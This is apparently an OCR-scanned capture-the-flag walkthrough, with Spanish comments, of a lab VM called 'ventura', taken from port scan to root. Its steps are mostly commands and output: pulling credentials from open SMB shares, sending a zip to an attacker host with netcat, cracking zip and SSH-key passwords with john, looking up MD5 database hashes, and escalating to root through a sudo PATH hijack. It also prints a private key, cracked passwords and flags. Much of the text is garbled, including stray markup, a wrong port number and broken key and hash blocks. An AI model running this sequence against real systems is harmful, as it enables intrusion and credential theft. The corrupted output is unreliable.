```
The ip_address '192.168.16.58' is valid Starting Nmap 7.94 \overline{\rm SVN} ( https://nmap.org ) at 2024-11-11 10:51 CET Nmap scan report for 192.168.16.58
Host is up (0.00046s] latency).
Not shown: 65531 closed tcp ports (reset)
PORT
                                      VERSION
              open ssh
                                      OpenSSH 9.2p1 Debian 2+deb12u2 (protocol
 ssh-hostkey:
  256 e6:e0:15:63:c4:74:9e:04:7c:95:44:d5:45:c2:b4:4a (ECDSA)
256 44:02:f3:25:5d:f0:b2:f3:2b:71:a3:08:dd:4f:37:72 (ED25519)

39/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
10021/tcp open ftp vsftpd 2.0.8 or later
MAC Address: 08:00:27:32:63:A6 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.<mark>X</mark>|5
 OS CPE: cpe:/o:linux:linux kernel:4 cpe:/o:linux:linux kernel:5
OS details: Linux 4.15 - 5.8

Network Distance: 1 hop

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
  smb2-time:
     date: 2024-11-11<mark>T09</mark>:52:28
     start_date: N/A
   clock-skew: 1s
  nbstat: NetBIOS name: VENTURA, NetBIOS user: <unknown>, NetBIOS MAC:
  smb2-security-mode:
        Message signing enabled but not required
 //Comenzamos echando un vistado al protocolo smb.
 smbmap -H 192.168.16.58
       SMBMap - Samba Share Enumerator | Shawn Evans -
ShawnDEvans@gmail.com
                             https://github.com/ShawnDEvans/smbmap
 [*] Detected 1 hosts serving SMB
     Established 1 SMB session(s)
```

```
[+] IP: 192.168.16.58:445
                                Name: 192.168.16.58
Status: Authenticated
        Disk
Permissions
                Comment
        print$
                                                                   NO
ACCESS
        food
                                                                   READ
ONLY
           Food
        dessert
                                                                   READ
ONLY
           Dessert
                                                                   READ
ONLY
          Menu
        IPC$
             IPC Service (Samba 4.17.12-Debian)
ACCESS
        nobody
ACCESS
             Home Directories
// Tenemos 3 recursos donde podemos acceder puesto que tenemos
permisos de lectura.
//Accedemos a cada uno de ellos y descargamos todo.
smbclient //192.168.16.58/food -N
Try "help" to get a list of possible commands.
smb: \> ls
                                                0 Wed May 15 10:56:53
                                                0 Sat Jun 8 0<mark>9:14:41</mark>
 creds.txt
                                       N
                                               166 Wed May 15 10:56:49
                163042124 blocks of size 1024. 148839468 blocks
available
smb: \> get creds.txt
getting file \creds.txt of size 166 as creds.txt (9.5 KiloBytes/sec)
(average 9.5 KiloBytes/sec)
smb: \> exit
smbclient //192.168.16.58/dessert -N
Try "help" to get a list of possible commands.
smb: \> mget *.txt
Get file comida.txt? y
getting file \comida.txt of size 358 as comida.txt (19.4)
KiloBytes/sec) (average 19.4 KiloBytes/sec)
Get file cafe.txt? y getting file \cafe.txt of size 251 as cafe.txt (81.7 KiloBytes/sec)
(average 28.3 KiloBytes/sec)
Get file creds.txt<mark>?</mark> y
qetting file \creds.txt of size 31 as creds.txt (10.1 KiloBytes/sec)
(average 26.0 KiloBytes/sec)
smb: \> exit
smbclient //192.168.16.58/menu -N
Try "help" to get a list of possible commands.
smb: \> ls
```

```
Wed May 15 10:59:21
                                                0 Sat Jun 8 0<mark>9:14:41</mark>
                                               40 Thu Apr 25 22:18:58
  .cafesinleche
                                              193 Wed May 15 10:55:21
 goiko.txt
                163042124 blocks of size 1024. 148839468 blocks
available
smb: \> get goiko.txt
getting file \goiko.txt of size 193 as goiko.txt (10.5 KiloBytes/sec) (average 10.5 KiloBytes/sec)
smb: \> cd cafesinleche
cd \cafesinleche\: NT STATUS OBJECT NAME NOT FOUND
smb: \> get .cafesinleche
getting file \.cafesinleche of size 40 as .cafesinleche (2.8
KiloBytes/sec) (average 7.1 KiloBytes/sec)
smb: \>
//Encontramos un login.
cat .cafesinleche
user = marmai
pass = EspabilaSantiaga69
//Probamos con el nuevo login si tenemos mas permisos en samba
smbmap -H 192.168.16.58 -u marmai -p "EspabilaSantiaga69"
                         |(| _ \ |: \. | // __' \
     SMBMap - Samba Share Enumerator | Shawn Evans -
ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)
[+] IP: 192.168.16.58:445
                              Name: 192.168.16.58
Status: Authenticated
        Disk
                Comment
Permissions
```

```
print$
                                                                 NO
ACCESS
             Printer Drivers
        food
                                                                 READ
ONLY
           Food
        dessert
                                                                 READ
           Dessert
ONLY
                                                                 READ
        menu
ONLY
          Menu
        IPC$
                                                                 NΟ
             IPC Service (Samba 4.17.12-Debian)
ACCESS
        nobody
                                                                 NΟ
ACCESS
//Como tenemos los mismos vamos a probar el login en ssh
ssh marmai@192.168.16.58
The authenticity of host '192.168.16.58 (192.168.16.58)' can't be
established.
ED25519 key fingerprint is
SHA256:09L129ILz+QPam4Ko5ko5vJrQMtRLZA/GMVooJ562B8.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])?
Warning: Permanently added '192.168.16.58' (ED25519) to the list of
known hosts.
marmai@192.168.16.58's password:
Linux ventura 6.1.0-20-amd64 #1 SMP PREEMPT DYNAMIC Debian 6.1.85-1
(2024-04-11) x86 64
The programs included with the Debian GNU/Linux system are free
software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue May 14 18:50:08 2024
whoami
marmai
//Como pudimos acceder,miramos los posibles usuarios que nos vendrá
bien para mas adelante.
marmai@ventura:~ $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
```

```
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network
Management:/:/usr/sbin/nologin
tss:x:100:107:TPM software stack,,,:/var/lib/tpm:/bin/false
systemd-timesync:x:997:997:systemd Time
Synchronization:/:/usr/sbin/nologin
messagebus:x:101:108::/nonexistent:/usr/sbin/nologin
usbmux:x:102:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:103:65534::/run/sshd:/usr/sbin/nologin
dnsmasq:x:104:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
avahi:x:105:112:Avahi mDNS daemon,,,:/run/avahi-
daemon:/usr/sbin/nologin
speech-dispatcher:x:106:29:Speech Dispatcher,,,:/run/speech-
dispatcher:/bin/false
fwupd-refresh:x:107:115:fwupd-refresh
user,,:/run/systemd:/usr/sbin/nologin
saned:x:108:117::/var/lib/saned:/usr/sbin/nologin
geoclue:x:109:118::/var/lib/geoclue:/usr/sbin/nologin
polkitd:x:996:996:polkit:/nonexistent:/usr/sbin/nologin
rtkit:x:110:119:RealtimeKit,,,:/proc:/usr/sbin/nologin
colord:x:111:120:colord colour management
daemon,,,:/var/lib/colord:/usr/sbin/nologin
gnome-initial-setup:x:112:65534::/run/gnome-initial-setup/:/bin/false
nika:x:1000:1000:nika,,,:/home/nika:/bin/bash
ftp:x:114:122:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
camarero:x:1001:1002::/home/camarero:/bin/bash
gurpreet:x:1002:1003:,,,:/home/gurpreet:/bin/bash
mysql:x:115:124:MySQL Server,,,:/nonexistent:/bin/false
marmai:x:1003:1004::/home/marmai:/bin/sh
//Buscando por el sistema vemos que en el home de marmai dentro del
directorio de ftp tenemos un zip.
home/marmai/ftp$ ls
BurgerWithoutCheese.zip
// Lo descargamos para intentar ver lo que tiene dentro.
nc -nvlp 9999 > BurgerWithoutCheese.zip
nc -q 0 192.168.16.37 9999 < BurgerWithoutCheese.zip</pre>
//Lo pasamos a un formato donde john pueda realizar el ataque.
zip2john BurgerWithoutCheese.zip > BurgerWithoutCheese.hash
ver 2.0 efh 5455 efh 7875 BurgerWithoutCheese.zip/id rsa PKZIP Encr:
TS chk, cmplen=2027, decmplen=2655, crc=5A090028 ts=90B9 cs=90b9
ver 1.0 efh 5455 efh 7875 ** 25 ** BurgerWithoutCheese.zip/users PKZIP
Encr: TS chk, cmplen=47, decmplen=35, crc=8254F58A ts=90C5
type=0
NOTE: It is assumed that all files in each archive have the same
password.
If that is not the case, the hash may be uncrackable. To avoid this,
use
option -o to pick a file at a time.
```

```
Una vez hecho ya podemos intentar el ataque donde es un éxito y
vemos que la contraseña es princess95
john --wordlist=/usr/share/wordlists/rockyou.txt
BurgerWithoutCheese.hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
princess95
                (BurgerWithoutCheese.zip)
 g 0:00:00:00 DONE (2024-11-12 21:37) 50.00g/s 921600p/s 921600c/s
  1600<mark>C</mark>/s havana..tanika
Use the "--show" option to display all of the cracked passwords
reliably
Session completed.
//Una vez entramos en el zip con la contraseña vemos que contienen 2
ficheros, uno con los usuarios y otra con una clave privada.
unzip BurgerWithoutCheese.zip
Archive: BurgerWithoutCheese.zip
[BurgerWithoutCheese.zip] id rsa password:
  inflating: id_rsa
 extracting: users
 cat users
nika
caroline
gurpreet
santi
marsu
----BEGIN OPENSSH PRIVATE KEY----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABBXM0n9nE
Vk6gCqtDLK2TLDAAAAEAAAAEAAAGXAAAAB3NzaC1yc2EAAAADAQABAAABgQCie60mJGb2
RmUT12iUvk3Q6iqnZjP8qtkbVpw6lnDmJg/scorxnLrpDUFwzt9qC1/WcezXHc2qzDOMEG
rZS81bEX2YDaBZIkoQl3mejPzrT8G+OwQyfvwrl0ZDGSDMBieWzu2dlmEg2qmfZ1vDckDm
jQjVDylmB/b4iVkvdBYpNhGJntdGPUBwrBp8pf/URNC9dRJHyR50ePsG0JLLTK1XIE5VF+
IAywYI6k6xWEWN/NK2H8LM9o9xLAN512zULhpYdaDsSttvLFM7znv4SUioEM2okdZB7GHb
qkyXmDfrWUJbpFItYrmGOW85/yZkVIoHkADFhPtKj6bXfi7bwzJfW+aYieJHBhlQu1JBCM
W5VOQ6Kbm4mEnW/HvYgHbJkOZrvnn+u4mg1nZXqnDJ8+cqe/89ujsqSJmxygw
agZCW4ahCwXC4pFwIi2KqdCrcCyXKdocEF0u1OP/+jdIHVrQz6bF/c1zMcLWDUcwRr4zDU
HZBEt4ST+v0u8AAAWQ4NFqqc9aKF84OEMPV5IiTIrrp4lkTjNlnwmCB6J/Cu3mZXY3Bkq7
QsJU4pL2KicBB0OGG0ZwmUfmYHleTOQry/e7CqNANmy+UTLy+4Wek/TyELa3PEyhjPPOkk
vyrd+MnvMtLRrCzR6mFFvhYD7y58uwi+PY/9<mark>wajGzxqQzRt</mark>/p1ybbkTzh10LbpVqMwfTbU
HYnybm/nftDw/4ayfx7uOPPnmXYj55Ry97wX+jDHIbHtV91ZNKEg0Lo3b13dVLkthjihk0
UizIyoZeTwE+kujRW3cr87yqvvYLTJLzW74zpwKMJbeK/G5ENuO5qQVoS3WEnMyG7Ebqk5
A5PzBi9eozRmvmyj8q0N63FDvapPDmJqNkXp8RqDoJjJ4d60tHHfSqqk/HR+1uavzBsQla
tw6Hm8OiWF9qhNFd+n0x54gdpkCiUBnuGv7SqYsImcri1L2gIazm5<u>OpGXPuC7E5wkholsB</u>
vio8xIYQSz3TCE2RL3n+b78SXcA8I24bX9qYAj0Kszq/UnAfXnHTPHaKxME5x48GFGQYER
ttqiI8MBVVAE2qpEaUQmEWzJHXuufyr+qTcKC+CTIocifH/vc53iTB5YZvp8GdnPYQOPuq
hbXCxiL5nkzSHCt18Gr9vafUuztub+Lvh83PjWq/QQSB2mRdcJFTHLfR1joT9CnkXHmzfV
GXVuT4vowuC2MByedYU4bOVMvml+2CBooPFkIGbR10U
                       RKdRKARr92miiWgLfg+Wn2YiYA6BzzQjg/KrihaYvnGJa7io
Zzf39XLCeivj9eEte7pnEUTqKd2k24KJXpwRXqvTWl6yq+uTmvV60ULYTnmcrd7yxbWW3W
FIr1Fp8EZ59nxENvcC41LvDvIiA4iqIfw+ccmCrYlScPpdMKG8qLBxN84HVxMgw6d5MPA6
bFQ6RUxNpqc8DLZSfrx+Ft6OZ5ryUJ/FfsA2a7WY8OyeCj4cVcssdAIO9dl3g8dbxzEANi
REqzkoIWKLFYqg/iQEwQX9uCume+mDVvTP/UnknEuEArkF/YqLMXTvB+3nAoreKKfTDo
S9CTvmQuPEw1t4R3NC0yml9U8D8G0DTPLR+4 be95EMDh7vJ+eBr9mAJi/iEUAPFIehcKj
```

CQAZlyc/+FvJR7WFWipqVw/eijPNIwkndi0cR5pPLgtuq0FmA8RQSjmqXIc37cmbs+imIj lJcSx4Ru0NyX4wRBqXONFqIkus5m4XCkPzCs3bG1/BQsGd4bx1sILZeUcz29E8Z+wLkGFq /QW42XoiIqk/q20/2<mark>UW</mark> KB7SYcYr800kXgn8m1Vo9refUDOrqoja5rMuHGTFajsBsDzJRpc5xtpNt+pGS51og6rt2J <mark>(hejDzJDelNX7mxZ6b</mark>+Dnjbp7ncK+sMoPyn Wyp/3<mark>Kr</mark> dioiBexsnxPHeT2a0SHZO1mbZcLPBA58uu+ M+j8dZ0ZrEt6JoXFrrzQnPT1DI/G+pwU/Ux03V08aLlu04qcyaqF5wYMx0DxPEuz3haVlx QchXUnCM8cZXfEt0AasgtdMAGeZpGCmhYJnOnvGRr0fmPeGGIrwWZPZZGXW2EDuK+CDj0T 'qpsI/n8X/fIuOY44S5tnyvb/Q= --END OPENSSH PRIVATE KEY-//Como antes, volvemos a convertirlo a un formato donde john pueda realizar el ataque para posteriormente realizarlo. ssh2john id rsa > id rsa deco cat id rsa deco id rsa:\$sshng\$6\$16\$573349fd9c4564ea00aab432cad932c3\$1910\$6f70656e7373 92d76310<mark>00000000a6165733235362d63747200000006626</mark>3727970740000 01800000010573349fd9c4564ea00aab432cad932c3000000100000001000001 000077373682d727361000000030100010000018100a27bad262466f646651 e4dd0ea2aa76633fcaad91b569c3a9670e6260fec728af19cbae90d4170ce 71ecd71dcdaacc338c106ad94bcd5b117d980da059224a1097799e8cfceb4f 1327efc2b9746431920cc062796ceed9d966120daa99f675bc37240e68d08d50f f6f889592f7416293611899ed7463d4070ac1a7ca5ffd444d0bd751247c91e4e78fb0 . 5d092cb4ca957204e5517e200cb0608ea4eb158458dfcd2b61fc2ccf68f712c0379d7 :d42e1a5875a0ec4adb6f2c533bce7bf84948a810cda891d641ec61dbaa4c979837eb 9425ba4522d62b986396f39ff2664548a079000c584fb4a8fa6d77e2edbc3325f 389e247061950bb524108c5b954e43a29b9b89849d6fc7bd88076c990e66bbe79febb8 9a0d67657aa70c9f3e72a7bff3dba3b2a4899b1ca0c0269dd89e4169a6a06425b86a1(o05c2e29170222d8aa9d0ab702c9729da1c105d2ed4e3fffa37481d5ad0cfa6c5fdcd 331c2d60d473046be330d41d9044b78493fafd2ef00000590e0d16081cf5a285f3838 30f5792224c8aeba789644e33659f098207a27f0aede6657637064abb42c254e2 a27010743861b46709947e660795e4ce42bcbf7bb0a0340366cbe5132f2fb859e93f4 210b6b73c4ca18cf3ce924bf2addf8c9ef32d2d1ac2cd1ea6145be1603ef2e7cbb08be 3d8ffdc1a8c6cf1a90cd1b7fa75c9b6e44f387538b6e956a3307d36d41d89f26e6fe7 ed0f0ff86b27f1eee38f3e7997623e79472f7bc17fa30c721b1ed57dd5934a120d0ba de5ddd54b92d8638a1934522cc8ca865e4f013e92e8d15b772bf3bcaabef60b46 5bbe33a7028c25b78afc6e4436e3b9a905684b75849ccc86ec46e09390393f3062 33466be6ca3f2ad0deb7143bdaa4f0e626a3645e9f11a83a098c9e1deb4b471df c747ed6e6afcc1b1095ab70e879bc3a2585f6a84d15dfa7d31e7881da640a2 ed2a98b0899cae2d4bda021ace6e4ea465cfb82ec4e70921a25b01be2a3c o3dd3084d912f79fe6fbf125dc03c236e1b5fd81802338ab33abf52701f5e71d3 39c78f06146418111b6d82223c301555004daaa44694426116cc91d7b f87cdcf8d6abf410481da645d7091531cb7d 1d63a13f429e45c79b37d519756e4f8be8c2e0b6301c9e7585386ce54cbe697ed82068 a0f1642066d1d7452ba0ea6c06f31003386d8b45afdb7e743fb57335beeba5b64f4534 b24a89b305285ecf51b044a75128046bf769a289680b7e0f969f6622600e81cf342383 f2ab8a1698be71896bb8a86737f7f572c27a2be3f5e12d7bba671144ea29dda4db8289 5e9c115eabd35a5eb2abeb939af57ad142d84e799caddef2c5b596dd6148af5169f046 79f67c4436f702e252ef0ef2220388aa21fc3e71c982ad895270fa5d30a1bca8b07137 ce07571320c3a77930f03a6c543a454c4da6a73c0cb6527ebc7e16de8e679af2509fc5 7ec0366bb598f0ec9e0a3e1c55cb2c74020ef5d97783c75bc73100362444ab39282162 8b158aa0fe2404c105fdb82ba67be98356f4cffd49e49c4b8402b905fd8a8b3174ef07 ede7028ade28a7d30dde514bd093be642e3c4c35b78477342d329a5f54f03f06d034cf 2d1fb825b13de4430387bbc9f9e06bf660098bf8845003c521e85c2a3e32891d7359c3 a73cd8b5524eabe165476e0bc572ed4af69a5744d3926e3cfb9af80a7def09a94447c0 17f9d4e0d95b08e1bb48fe2bd4a155a35a2082e2ea8c4f8bee95de026eeb30d8e96250

```
160a013d090d852e41862dead8300f3f046ab16d65b8955421d2f92ec09001997273ff
85bc947b5855a2a6a570fde8a33cd230927762d1c479a4f2e0b6eab416603c4504a39a
a5c8737edc99bb3e8a6223949712c7846ed0dc97e30441a9738d16a224bace66e170a4
3f30acddb1a5fc142c19de1bc75b082d9794733dbd13c67ec0b906160d8a0600437077
a19adce29b51d3947990a027bd78b5d3c69ed884427d3e6cdb6f2045e4057f416e365e
8888aa4feadb4ff6516bae281ed261c62bf34d245e09fc9b5568f6b79f5033abaa88da
e6b32e1c64c56a3b01b03cc9469739c6da4db7ea464b9d6883aaedd895b2a7fdcaaf9a
c98572a24e9964bf838c40ae021a42784bd1ada5785e8c3cc90de94d5fb9b167a6fe0e
78dba7b9dc2beb0ca0fca7762a2205ec6c9f13c7793d9ad121d93b599b65c2cf040e7c
baefbc33519d95a9f4b14100b6b737537aa29699f1e262f74b7eabc5233e8fc759d19a
c4b7a2685c5aebcd09cf4f50c8fc6fa9c14fd4c74dd53bc68b96ed38a9cc9aa85e7060
cc740f13c4bb3de169597141c85752708cf1c6577c4b7401ab20b5d30019e6691829a1
6099ce9ef191af47e63de18622bc1664f6591975b6103b8af820e3d13d45aa9b08fe7f
17fdf22e398e384b9b67caf6ff4$16$486
john --wordlist=/usr/share/wordlists/rockyou.txt id rsa deco
Using default input encoding: UTF-8
Loaded 1 password f hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all
loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
babygirl
                (id rsa)
.58C/s 123456..michelle
Use the "--show" option to display all of the cracked passwords
reliably
Session completed.
//Probamos los usuarios hasta saber que el usuario el cual es dueña la
clave es gurpreet.
ssh -i id rsa gurpreet@192.168.16.58
gurpreet@192.168.16.58's password:
Linux ventura 6.1.0-20-amd64 #1 SMP PREEMPT DYNAMIC Debian 6.1.85-1
The programs included with the Debian GNU/Linux system are free
software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed May 15 05:41:59 2024 from 192.168.1.35
//En su directorio home existe una nota que nos da una pista a parte
de la primera flag.
gurpreet@ventura:~$ cat nota
- ENGLISH = The database has very simple hashes, please configure it
well.
- CASTELLANO = La base de datos tiene hashes muy sencillos, por favor
configuralo bien.
- CATALA = La base de dades te hashes molt senzills, si us plau
configura be.
```

```
cat user.txt
 65d76sdsafs6asf4da0c0f39a14b96d
user:765d76sdsafs6asf4da0c0f39a14b96d
//Entramos a la base de datos con el login de gurpreet y buscamos
hasta encontrar lo interesante.
mysql -u gurpreet -p
show databases;
Database
 information schema
 mysql
 performance schema
 secta
use secta;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [secta]> show tables;
| Tables in secta |
integrantes
 row in set (0.000 sec)
MariaDB [secta]> select * from integrantes;
 id | name | password
 1 | carline | 703ff9a12582b2aaaa3fe7f89bb976c8 |
  2 | nika | c6f606a6b6a30cbaa428131d4c074787 |
//Una vez encontrados los hashes toca usar alguna herramienta para ver
si podemos obtener las contraseñas en claro.
https://hashes.com/en/decrypt/hash
703ff9a12582b2aaaa3fe7f89bb976c8:lucymylove
Carline:lucymylove
c6f606a6b6a30cbaa428131d4c074787
nika:no identificamos
//Como el usuario Carline no existe y puesto que la contraseña no la
damos obtenido por ninguna herramienta
//Usamos la contraseña de carline en nika y accedemos.
//Con este nuevo usuario si tenemos una forma de poder escalar
privilegios.
```

```
//Para ello encontramos que en el script watchporn.sh podemos
aprovechar el cambiar la variable de entorno para que en vez de
ejecutar el script el comando find ejecute una shell con privilegios
de root sin necesidad de contraseña.
sudo -1
Matching Defaults entries for nika on ventura:
   env_reset, mail_badpass,
secure path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbi
n\:/bin, use pty
User nika may run the following commands on ventura:
    (ALL) SETENV: NOPASSWD: /opt/porno/watchporn.sh
cat watchporn.sh
#!/bin/bash
learningbash="Hello World"
echo $learningbash
find source images -type f -name '*.jpg' -exec chown root:root {} \:
echo "/bin/bash" > /tmp/find
nika@ventura:/opt/porno/source images<mark>$</mark> cat /tmp/find
/bin/bash
chmod 777 /tmp/find
nika@ventura:/opt/porno/source images sudo PATH=/tmp: PATH
/opt/porno/watchporn.sh
Hello World
root@ventura:/opt/porno/source_images# ls
gsfds67adsrfs63bnfdmvfsi83
Root:gsfds67adsrfs63bnfdmvfsi83
```